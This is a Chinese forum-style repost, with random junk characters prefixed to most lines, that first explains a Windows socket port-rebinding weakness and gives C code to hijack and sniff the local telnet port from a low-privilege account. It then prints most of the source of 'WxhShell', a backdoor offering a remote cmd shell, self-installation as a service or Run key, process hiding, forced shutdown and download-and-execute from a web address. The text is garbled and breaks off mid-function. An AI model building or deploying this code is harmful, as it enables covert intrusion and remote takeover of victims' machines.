在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
[0(B>a3J s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
O#F Q9~*<I> h; saddr.sin_family = AF_INET;
=:&ly'QB& GNgKo]u saddr.sin_addr.s_addr = htonl(INADDR_ANY);
NL!u<6y ABQa 3{v bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
OjFLPGRCh =8t]\Y? 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
+aJ>rR =7w\
7-.m 这意味着什么?意味着可以进行如下的攻击:
9Xj7~, _kj wFq 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
ur3(HL S4' 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
T;L>;E>B (MR_^t 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
u -;_y='m eIz<)-7: 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
:ctu5{"UJ @CTgT-0! 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Yn@lr6s :K-~fA%kt? 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
fuWO* W yB3ls~ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
qu-B|
MuOa PMNjn9d #include
)CuZDf@ #include
]!I7Y.w6 #include
$*AYcy7 #include
n&"B0y cF DWORD WINAPI ClientThread(LPVOID lpParam);
+wEac
g>>E int main()
*]AdUEV? {
bL'aB{s WORD wVersionRequested;
Jll-`b 1 DWORD ret;
P*
w9, WSADATA wsaData;
X' d9[). BOOL val;
$ {O# SOCKADDR_IN saddr;
%+j8["VEC SOCKADDR_IN scaddr;
L W[9 int err;
:[O
8 SOCKET s;
()5[x.xK@ SOCKET sc;
X;i~<Tq int caddsize;
L;*ljZ^c HANDLE mt;
|.F$G< DWORD tid;
\MbB# wVersionRequested = MAKEWORD( 2, 2 );
TM_/`a2} err = WSAStartup( wVersionRequested, &wsaData );
>+JqA7K if ( err != 0 ) {
v3aYc:C printf("error!WSAStartup failed!\n");
}q $5ig return -1;
eO?p*"p" F }
oXb;w@: saddr.sin_family = AF_INET;
Fx;QU)1l3 )6q,>whI] //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
r[BVvX/,F l8I /0`_ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
q=%RDG+ saddr.sin_port = htons(23);
9;r)#3Q[^ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
hEBY8=gK {
mS^tX i5hg printf("error!socket failed!\n");
KVT-P};jy* return -1;
;\]b T;# }
f4Xk,1Is val = TRUE;
;D:9+E<>a //SO_REUSEADDR选项就是可以实现端口重绑定的
@)|C/oA if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
YL]Z<%aKt {
|G?htZF printf("error!setsockopt failed!\n");
Y8m1M-#w return -1;
8n'B6hi }
:c8&N-` //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
do*EKo //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
wN;^[F //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
.}O[dR _a6[{_Pc if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
~yH?=:>U {
=p*]Az ret=GetLastError();
AS
=?@2 q printf("error!bind failed!\n");
^>jwh return -1;
-( }
bYEy<7)x listen(s,2);
iV&6nh( while(1)
x4E7X_ {
ldiD2
Q caddsize = sizeof(scaddr);
%Z):>' //接受连接请求
*=(lyx_O sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
gDQ1?N'8{t if(sc!=INVALID_SOCKET)
9y<*8bI {
9~p[ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
c(!6^qk]!` if(mt==NULL)
]ooIrY8 {
)}"wesNo". printf("Thread Creat Failed!\n");
_#r+ !e break;
E`?3PA8 }
[co% :xJu }
n/+.s(7c CloseHandle(mt);
mj9 <%P }
+VO-oFE | closesocket(s);
L&u$t}~) WSACleanup();
@cFJeOC| return 0;
czS+<
w }
S7/eS)SQR DWORD WINAPI ClientThread(LPVOID lpParam)
uTKD 4yig {
2QJ{a46} SOCKET ss = (SOCKET)lpParam;
,N!o SOCKET sc;
2E}*v5b, unsigned char buf[4096];
P_*" dza SOCKADDR_IN saddr;
_V7r1fY: long num;
X!9 B2w DWORD val;
#,":vr DWORD ret;
j$?{\iXZ //如果是隐藏端口应用的话,可以在此处加一些判断
C-\S/yd //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
AlAY iUw{ saddr.sin_family = AF_INET;
9}PhN<Gd saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
i*/Yz*< saddr.sin_port = htons(23);
\$*7 >`k if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
]x(e&fyHB {
5N/%v&1 printf("error!socket failed!\n");
D ,o}el return -1;
5hQE4/hH }
TFkZp e; val = 100;
A
Q'J9 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
(9Ux{@$o[ {
_j< K=){ ret = GetLastError();
G
8g<>d{j return -1;
l'/R&`-n }
;/r1}tl+3> if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
19E8'@ {
tt0f-:# ret = GetLastError();
@zU6t|mhz return -1;
.J)I | ' }
6W]9$n\"? if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
ABD)}n=%c {
?0v-qj+ printf("error!socket connect failed!\n");
1~Oe=`{& closesocket(sc);
$a
]_w.@ closesocket(ss);
}:us:% return -1;
@?yX!_YC }
]yK7PH-{L while(1)
BG6B : {
OY;*zk //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Gd-'Z_ b //如果是嗅探内容的话,可以再此处进行内容分析和记录
<<+\X:, //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
G Uon/G8 num = recv(ss,buf,4096,0);
"4riSxEyF if(num>0)
4dO~C send(sc,buf,num,0);
eYN5;bx)W else if(num==0)
|wiqGzAr{ break;
F'4w;-ax num = recv(sc,buf,4096,0);
1(I6.BHW if(num>0)
q7_ m&-0) send(ss,buf,num,0);
nD`w/0hT< else if(num==0)
9Iwe2lu break;
G6/p1xy>o: }
BK)$'AqO closesocket(ss);
g;qx">xJ`o closesocket(sc);
DW5Y@;[
return 0 ;
[|(N_[E|6 }
Tn*9lj4 pWK(z[D /&
Jan: ==========================================================
HCyv ]LR bwD,YC 下边附上一个代码,,WXhSHELL
S ?{#r zsX1 QN16 ==========================================================
Z>)Bp/- X*/ho #include "stdafx.h"
wO'TBP YG@t5j#b #include <stdio.h>
?OcJ)5C4 #include <string.h>
'gC_)rK* #include <windows.h>
N/%WsQp #include <winsock2.h>
/178A;Jy #include <winsvc.h>
uE%r/:!k4$ #include <urlmon.h>
([SU:F!uW( }001K #pragma comment (lib, "Ws2_32.lib")
bCo7*<I4 #pragma comment (lib, "urlmon.lib")
fZ0M%f =G7m)! #define MAX_USER 100 // 最大客户端连接数
Si8pzd #define BUF_SOCK 200 // sock buffer
}uJu>'1[G #define KEY_BUFF 255 // 输入 buffer
*5%d XixN [x+FcXb #define REBOOT 0 // 重启
+S>j0m<* #define SHUTDOWN 1 // 关机
#$18*?tLv| cAY: AtD #define DEF_PORT 5000 // 监听端口
d:BG#\e]v Y w^m #define REG_LEN 16 // 注册表键长度
wSa)*]% #define SVC_LEN 80 // NT服务名长度
oB}BU`-l A#.edVj.g4 // 从dll定义API
^
DaBz\ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
^hc!FD typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
OGK}EI typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
c0,0`+2~ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
pT=JP> nd^ ,}3
'I [ // wxhshell配置信息
W42iu"@ struct WSCFG {
S2HcG
1J
int ws_port; // 监听端口
(;T^8mI2 char ws_passstr[REG_LEN]; // 口令
:r{<zd>; int ws_autoins; // 安装标记, 1=yes 0=no
/]K^
rw[ char ws_regname[REG_LEN]; // 注册表键名
F*IzQ(#HW char ws_svcname[REG_LEN]; // 服务名
>AVVEv18 char ws_svcdisp[SVC_LEN]; // 服务显示名
t;W0"ci9 char ws_svcdesc[SVC_LEN]; // 服务描述信息
#|L8tuWW char ws_passmsg[SVC_LEN]; // 密码输入提示信息
+R3k-' > int ws_downexe; // 下载执行标记, 1=yes 0=no
39:bzUIF char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
PVe
xa|aaX char ws_filenam[SVC_LEN]; // 下载后保存的文件名
@.$| w>>T
1eS&&J5 };
]Lf{Jboo
e?0l" // default Wxhshell configuration
>3p\m struct WSCFG wscfg={DEF_PORT,
[k.t WA,& "xuhuanlingzhe",
cpL7!>^= 1,
>0/i[k-dk "Wxhshell",
q!.byrod "Wxhshell",
0)Uce=t` "WxhShell Service",
(SpX w,: "Wrsky Windows CmdShell Service",
4{y)TZ "Please Input Your Password: ",
\UPjf]& 1,
_Gn2o2T "
http://www.wrsky.com/wxhshell.exe",
~xkeuU "Wxhshell.exe"
)eUh=eW };
&XIt5<$~R ^uKwB;@ // 消息定义模块
|Luqoa char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
3@kf@Vf char *msg_ws_prompt="\n\r? for help\n\r#>";
?qPo=~y01 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
SheM|I~de char *msg_ws_ext="\n\rExit.";
.B7,j%1r char *msg_ws_end="\n\rQuit.";
TrlZ9?3#D char *msg_ws_boot="\n\rReboot...";
mWoAO@}Y char *msg_ws_poff="\n\rShutdown...";
o}
J&E{Tk char *msg_ws_down="\n\rSave to ";
"|EM;o ]D?"aX'q> char *msg_ws_err="\n\rErr!";
JZ)RGSG i char *msg_ws_ok="\n\rOK!";
)#?"Gjf~ j'Gt&\4 char ExeFile[MAX_PATH];
PQy4{0 _ int nUser = 0;
a!a-b~#cx HANDLE handles[MAX_USER];
T-.% int OsIsNt;
Bal$+S /Lfm&; SERVICE_STATUS serviceStatus;
kjIAep0rT SERVICE_STATUS_HANDLE hServiceStatusHandle;
2^r<{0@n 6</xL9#/ // 函数声明
zBCtd1Xrni int Install(void);
%'bM){ int Uninstall(void);
/a{la8Ni int DownloadFile(char *sURL, SOCKET wsh);
* aN int Boot(int flag);
9+j0q% void HideProc(void);
YN/|$sMD| int GetOsVer(void);
s3z$e+A8 int Wxhshell(SOCKET wsl);
?M8dP%&r void TalkWithClient(void *cs);
|?!~{-o int CmdShell(SOCKET sock);
"Lzi+1 int StartFromService(void);
Vx$ \hcG int StartWxhshell(LPSTR lpCmdLine);
WJQvB=D& 8m-U){r!U^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
\HqNAE2T VOID WINAPI NTServiceHandler( DWORD fdwControl );
SEo'(-5 =O&%c%~q // 数据结构和表定义
$mu^G t SERVICE_TABLE_ENTRY DispatchTable[] =
*1uKr9 {
52%2R]G! {wscfg.ws_svcname, NTServiceMain},
vmU@^2JSJ {NULL, NULL}
vx1c,8 };
'.on)Zd. dzARI` // 自我安装
B-xGX$<z int Install(void)
p,
h9D_ {
/ kE6@ char svExeFile[MAX_PATH];
%aHB"vi6 HKEY key;
2y//'3[ strcpy(svExeFile,ExeFile);
Bc(Y(X$PK 0]'7_vDs| // 如果是win9x系统,修改注册表设为自启动
\.0^n3y if(!OsIsNt) {
WYH Q? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
X.OD`.!> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
q8FTi^=Kb RegCloseKey(key);
? E1<!~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
7S-ys+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
MDnKX?Y RegCloseKey(key);
G/k2Pe{SL return 0;
vleS2-]| }
Nkjza:f{ }
6g2a[6G5 }
S'k_olx7 else {
qz+dmef H['N // 如果是NT以上系统,安装为系统服务
QqDC4+p" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
VyXKZ%\dQ/ if (schSCManager!=0)
y0Fb_"} {
&:;:"{t}Do SC_HANDLE schService = CreateService
|N4.u
_hM (
U\ ig: schSCManager,
P60~V"/P wscfg.ws_svcname,
44gPCW,u wscfg.ws_svcdisp,
cA2V2S) SERVICE_ALL_ACCESS,
]%hn`ZJ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
s6H]J{1F SERVICE_AUTO_START,
RM]\+BK SERVICE_ERROR_NORMAL,
o\[~.";Z svExeFile,
NokU)O ;x NULL,
]q;Emy NULL,
@fHi\W2JG NULL,
Tre]"2l NULL,
;%B(_c NULL
!F*5M1Kjd );
c'^?/$H| if (schService!=0)
wu7Lk3 {
Umz KY CloseServiceHandle(schService);
<5-[{Q/2z CloseServiceHandle(schSCManager);
%<)2/|lCd strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
aEFJ;n7m strcat(svExeFile,wscfg.ws_svcname);
68NYIyTW9 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
|EIng0a RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
q2/pNV# RegCloseKey(key);
rxVanDb=W return 0;
FTH|9OP
}
1A?W:'N }
mf
A{3 CloseServiceHandle(schSCManager);
TcyNIx }
:iK(JE` }
J; 3{3 O%Scjm-^X return 1;
y_'Ub{w }
j?A/# &D>G8 // 自我卸载
0Be<X int Uninstall(void)
g9m-TkNk {
10G}{ HKEY key;
Z EXc%-M /vY(o1o
x if(!OsIsNt) {
_- [''(E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
% "kPvI3Y RegDeleteValue(key,wscfg.ws_regname);
xN>npP
RegCloseKey(key);
GX)u|g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
w~.f RegDeleteValue(key,wscfg.ws_regname);
wa(8Hl|Y RegCloseKey(key);
'@cANGg7[ return 0;
kj|6iG }
6 +Sxr }
z
F_M*8= }
&LmJ!^# else {
<m!h&_eg 2`AY~i9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
=4vy@7/ if (schSCManager!=0)
~9?cn {
Av @b!iw+ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Y_Eb'*PY if (schService!=0)
wGU*:k7p {
3T31kQv{ if(DeleteService(schService)!=0) {
xqXo0
CloseServiceHandle(schService);
\K_ET> ! CloseServiceHandle(schSCManager);
z(o,m3@v return 0;
O ~(pg }
!ds"9w CloseServiceHandle(schService);
5(Cl1Yse=r }
JHW"-b CloseServiceHandle(schSCManager);
D_?K"E=fw }
MV!{j;g1< }
+cWLjPD/} PvR6
z0 return 1;
<z+t,<3D }
7.-V-?i anuL1fXO // 从指定url下载文件
BoA/6FRi[ int DownloadFile(char *sURL, SOCKET wsh)
68bQ;Dv {
k=2Lo HRESULT hr;
=31"fS@ char seps[]= "/";
{.n"Z char *token;
+~St !QV% char *file;
2:*w~|6>}5 char myURL[MAX_PATH];
32l3vv.j char myFILE[MAX_PATH];
ImCe K iy6On,UL strcpy(myURL,sURL);
2^XGGB0 token=strtok(myURL,seps);
7;u
e while(token!=NULL)
4)E_0.C {
#w;v0&p file=token;
rI{=WPI&WU token=strtok(NULL,seps);
"B8Q: }
Tb A}BFT` D,m]CK' GetCurrentDirectory(MAX_PATH,myFILE);
;1#H62Z* strcat(myFILE, "\\");
c@YI;HS_g strcat(myFILE, file);
gep;{G} send(wsh,myFILE,strlen(myFILE),0);
g6nkZyw send(wsh,"...",3,0);
|HU@
> hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
M\C"5%2Mu if(hr==S_OK)
+_s #2 return 0;
.R`5Qds*l else
)js)2L~ return 1;
#XK2Ien)Z M-\Y"]sW }
&9/O!3p) b>_o xK // 系统电源模块
#1J &7F1 int Boot(int flag)
Yi
.u"sh] {
TPVVck-T8 HANDLE hToken;
B!
rTD5a TOKEN_PRIVILEGES tkp;
VzBqjE_ ,l%CX.9 if(OsIsNt) {
c _\YBe]wJ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
;V@WtZv LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
KgV3j]d tkp.PrivilegeCount = 1;
u,F nAh?" tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
!P ~_Dl2d AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
EQ2#/> if(flag==REBOOT) {
PiY Y6i0 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
6\L0mcXR!
return 0;
z25lZI" X` }
avjpA?Vz else {
0WT{,/> if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
hhb?6]Z/ return 0;
#btLa\HJ }
0fc/wfv< }
0?sRDYaX;c else {
lT4Hn;tnN if(flag==REBOOT) {
rL/H2[d if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
|]QqXE-7 return 0;
Mc#*wEo)8 }
_,q) hOI else {
AoY-\E if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
X7[^s
$VK return 0;
YNYx>Ue }
og4UhP^UET }
wNq;;AJ$ &lR 6sb\ return 1;
L}GC<D: }
H&F9J^rC A01AlK_B // win9x进程隐藏模块
C?ulj9=Z void HideProc(void)
3Uqr,0$p {
(]_ 1 Nb?w|Ne(T HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
YiYV>gaf"H if ( hKernel != NULL )
vK(i9>;7 {
lW<PoT pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
|4
v0:ETb$ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Fd?"- FreeLibrary(hKernel);
17D"cP }
!) S
?m ~n[d4qV& return;
CQZgMY1{ }
Mmj;'iYOwF "8'@3$>R= // 获取操作系统版本
3VuW#m#j int GetOsVer(void)
+${D {
V I,ACj OSVERSIONINFO winfo;
}YjX3|8zL= winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
>*@y8u* GetVersionEx(&winfo);
(* 1v\Q if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
|nbf' return 1;
sBu=e7 else
VmCW6
G#M return 0;
,\X@~j }
>a"Z\\dF GQ*wc?f3 // 客户端句柄模块
u4.ngjJ int Wxhshell(SOCKET wsl)
*"WDb|PBb {
cKN$ =gd SOCKET wsh;
e`d%-9 struct sockaddr_in client;
Bt1p'g(V| DWORD myID;
D6CS8
~" hOFOO_byzO while(nUser<MAX_USER)
:,WtR {
eFBeJZuE| int nSize=sizeof(client);
:`E8Z:-R wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
'D6T8B4 if(wsh==INVALID_SOCKET) return 1;
]V-W~r= ^F2b
hXE handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
3k|oK'l if(handles[nUser]==0)
cUqke+! closesocket(wsh);
H_EB1"C;\ else
|?Frj nUser++;
$KUos+% }
qP2ekI:y WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
7a#4tqM# e?`5>& Up return 0;
N-jTc?mT~& }
"8~:[G# Glxuz0] // 关闭 socket
N;Dni#tQ` void CloseIt(SOCKET wsh)
z ^_*& {
`Q+(LBP closesocket(wsh);
s"9`s_p`d nUser--;
b3S.-W{p. ExitThread(0);
u\LiSGePN }
fLDg~;3
90|7ArM_[ // 客户端请求句柄
6lkl7zm void TalkWithClient(void *cs)
.fN"@l {
&j?#3Qt'_ zrR`ecC(b SOCKET wsh=(SOCKET)cs;
w^L ta char pwd[SVC_LEN];
gzBy?r> r char cmd[KEY_BUFF];
|u0(t,T char chr[1];
Jg]'+>,J int i,j;
o
}3uo6GIB 2H/Z_+\ while (nUser < MAX_USER) {
.Q@S #d 6An9S%:_ if(wscfg.ws_passstr) {
TpmwD{c[\ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
$={:r/R`i //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
fMGbODAvY //ZeroMemory(pwd,KEY_BUFF);
cE`6uq7p i=0;
&FH2fMLQ while(i<SVC_LEN) {
9R;/*$ {o!KhF:[ // 设置超时
NZP.0coY fd_set FdRead;
w?zKjqza=v struct timeval TimeOut;
56e r`=ms FD_ZERO(&FdRead);
~/ 8M 3k/ FD_SET(wsh,&FdRead);
4(Ov1a> TimeOut.tv_sec=8;
B=>RH!& TimeOut.tv_usec=0;
Q:|l`*.R int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
K=C!b? if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
o Y1';&BO9 rj6tZJZ#o0 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
4l!@=qwn pwd
=chr[0]; ndjx|s)E
if(chr[0]==0xd || chr[0]==0xa) { 5Xl/L
pwd=0; NE/m-ILw
break; j
[rB"N`0
} fwrJ!j
i++; J4"mK1N(
} by'DQ 00
t~E<j+<2B
// 如果是非法用户,关闭 socket 7_.11$E=H
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 'mH )d
} {NPuu?&
1G0fp:\w
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6`0mta Q
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j4>a(
e$u4vC~
while(1) { c&X{dJWD
o\88t){/kB
ZeroMemory(cmd,KEY_BUFF); *[r!
tG8jFou
// 自动支持客户端 telnet标准 ~go
fQ
j=0; yfjK2
while(j<KEY_BUFF) { &K43x&mFF
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wO:Sg=,
cmd[j]=chr[0];
U3izvM
if(chr[0]==0xa || chr[0]==0xd) { I=7Y]w=
cmd[j]=0; QV h4
break; 6\u!E~zy
} h)6GaJ=
j++; *\wp?s>-t
} d{3@h+zL
oT{@_U{*J
// 下载文件 QJ
F=UB
if(strstr(cmd,"http://")) { )mJf|W!Z#
send(wsh,msg_ws_down,strlen(msg_ws_down),0); U9&k;`
if(DownloadFile(cmd,wsh)) tV_t6x_.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tx1vL
else ?E9D Xg
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <W`#gn0b6
} 4\pWB90V
else { j
,)P9V
DbZ0e5
switch(cmd[0]) { &n[~!%(
i\4hR?
// 帮助 KJ?y@Q
case '?': { mAeuw7Ni
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .fi/I
break; CvPioi
} ( 7ws{)
// 安装 :qR=>n=
case 'i': { ]Ni;w]KE
if(Install()) `/"nTB
send(wsh,msg_ws_err,strlen(msg_ws_err),0); jYVE8Y)my
else iJv48#'ii
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xr qv@/kJ
break; k-E{d04-2
} dLvJh#`o
// 卸载 < AI;6/
case 'r': { )-Ej5'iHr
if(Uninstall()) ?!=iu!J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }C
/]
else :^'O}2NP
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b$Hz3TJ(
break; xq%{}
} 'q>2t}KG
// 显示 wxhshell 所在路径 `^(jm
case 'p': { `k;KBW
char svExeFile[MAX_PATH]; ZUp\Ep}
strcpy(svExeFile,"\n\r"); Y4F6qyP)"
strcat(svExeFile,ExeFile); !)qQbk
send(wsh,svExeFile,strlen(svExeFile),0); e8h,,:l3j
break; '~ 4pl0TWc
} T"T;`y@(
// 重启 1AHx"e,;L
case 'b': { g7CXlT0Q6
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W%e_~$H0
if(Boot(REBOOT)) Sf/q2/r?6[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _Cy:]2o
else { v)f7};"z
closesocket(wsh); `_5GG3@Ff
ExitThread(0); Z,c,G2D
} {kLGWbo|Q
break; D6~+Y~R
} 1/ZR*fa
// 关机 451'>qS
case 'd': { ?-OPX_i_
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =s}Xy_+:
if(Boot(SHUTDOWN)) joa5|t!D9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); S'U@X
else { _P,^_%}V06
closesocket(wsh); >p])it[q&$
ExitThread(0); 3Z>YV]YbeU
} JI|6B
break; Ogg#jx(4
} /%n`V
// 获取shell ~~F2Ij
case 's': { I\Glc=T*
CmdShell(wsh); ?0<w
closesocket(wsh); 8BXqZVm.
ExitThread(0); Y-~~,Yl~
break; h?UVDzI!O
} a
:HNg
// 退出 ;`v% sx#
case 'x': { }:z5t,u6
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h:/1X'
3d
CloseIt(wsh); cPn+<M#
break; ,>LRa
} la$%H<,7
// 离开 MS<SAD>w
case 'q': { =l942p
send(wsh,msg_ws_end,strlen(msg_ws_end),0); d"~(T:=r
closesocket(wsh); E-ZRG!)[v
WSACleanup(); E1Q0k5@
exit(1); ekQrW%\3
break; BF8"rq}r0
} X6RQqen3:
} Uh|>Skic4
} 2GWDEgI1o
!q4x~G0d
// 提示信息 o%y;(|4t >
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !:fv>FEI9
} $v}<'
} $_j1kx$
y/_wx(2
return; vt]F U<
} }Ia 0"J4
t7F.[uWD
// shell模块句柄 !0 Q8iW:
int CmdShell(SOCKET sock) xi'<y
{ 8NimZ(
STARTUPINFO si; Mth6-^g5
ZeroMemory(&si,sizeof(si)); dL;HV8z^
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; FN
)d1q(~
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (paf2F`~#
PROCESS_INFORMATION ProcessInfo; S7n"3.k
char cmdline[]="cmd"; X)uDSI~
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); q42FPq
return 0; oYX{R
} GVd48 *
Jp;k+"<q
// 自身启动模式 lr('k`KOQ
int StartFromService(void) LxJ6M/".
{ &1)xoZ'\
typedef struct *M~.3$NN
{ FWPW/oC
DWORD ExitStatus; IlLn4Iw
DWORD PebBaseAddress; <>4!XPo%J
DWORD AffinityMask; ;R[&pDx
DWORD BasePriority; "S(X[Y'
ULONG UniqueProcessId; OM96`
